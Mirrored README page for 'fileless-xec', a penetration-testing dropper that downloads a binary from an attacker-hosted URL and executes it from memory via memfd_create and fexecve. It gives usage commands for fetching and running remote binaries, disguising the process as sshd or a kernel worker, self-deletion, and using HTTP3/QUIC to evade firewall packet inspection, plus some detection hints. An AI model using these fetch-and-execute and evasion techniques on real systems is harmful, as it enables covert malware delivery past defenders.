Git Product home page Git Product logo

fileless-xec's Introduction

➲ fileless-xec 🦜

👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article

Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine

➲ Short story

fileless-xec enable us to execute a remote binary on a local machine directly from memory without dropping them on disk

➪ Install

  • simple usage fileless-xec [binary_url] (~curl | sh for binaries)
  • execute binary with specified program name: fileless-xec -n /usr/sbin/sshd [binary_url]
  • detach program execution from tty: fileless-xec --setsid [...]

demo

Explanation We want to locally execute writeNsleep binary located on a remote machine.

We first start a python http server on remote. Locally we use fileless-xec and impersonate the /usr/sbin/sshd name for the execution of the binary writeNsleep(for stealthiness & fun). Once writeNsleep start fileless-xec will delete itself (--self-remove)

Other use cases

➲ Stealthiness story

  • The binary file is not mapped into the host file system
  • The execution program name could be customizable
  • Bypass 3rd generation firewall could be done with http3 support
  • fileless-xec self removes once launched

memfd_create

The remote binary file is stored locally using memfd_create syscall, which store it within a memory disk which is not mapped into the file system (ie you can't find it using ls).

Note: the syscall memfd_create does not exist for macOS.

fexecve

Then we execute it using fexecve syscall (as it is currently not provided by syscall golang library we implement it).

With fexecve we could exec a program, but we reference the program to run using a file descriptor, instead of the full path.

HTTP3/QUIC

Enable it with -Q/http3 flag.
You can setup a light web rootfs server supporting http3 by running go run ./test/http3/light-server.go -p LISTENING PORT (This is http3 equivalent of python3 -m http.server )
use test/http3/genkey.sh to generate cert and key.

QUIC UDP aka http3 is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.

Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic.

If you actually use fileless-xec as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis and GET a malware.

Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars

other skill for stealthiness

Although not present on the memory disk, the running program can still be detected using ps command for example.

  1. Cover the tracks with a fake program name

fileless-xec --name <fake_name> <binary_raw_url> by default the name is [kworker/u:0]

  1. Detach from tty to map behaviour of deamon process

fileless-xec --setsid <binary_raw_url>.

Caveats

You could still be detected with:

$ lsof | grep memfd

Or also opensnoop (but not by execsnoop)

Or seccomp profile auditing execve syscall (but it is very overwhelming as a sleep command also use execve)

fileless-xec's People

Contributors

ariary avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

fileless-xec's Issues

Feature: fileless-xec in server mode (wait on target machine)

fileless-xec is used on target machine to execute a binary file on attacker controlled machine

From now, attacker machine runs a server which hosts binary file and fileless-xec request it then execute it

An interesting feature could be to have another type of interaction between target and attacker machine:
target machine would have a server (upload binarys server) and attacker machine will send the binary ( trough http, http3, ...) to the server. Once the binary file received the target machine execute it as usual.

Feature: support for Windows & system w/o memfd_create syscall

Although fileless-xec is made for stealthiness which mainly stands on memfd_create syscall (make it fileless), it could be interesting to have an option the store the binary file locally before execute it.

This will make fileless-xec useful for:

  • Target machine which is windows one
  • Target machine without memfd_create syscall
  • Other cases where fileless functionalityis not needed

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.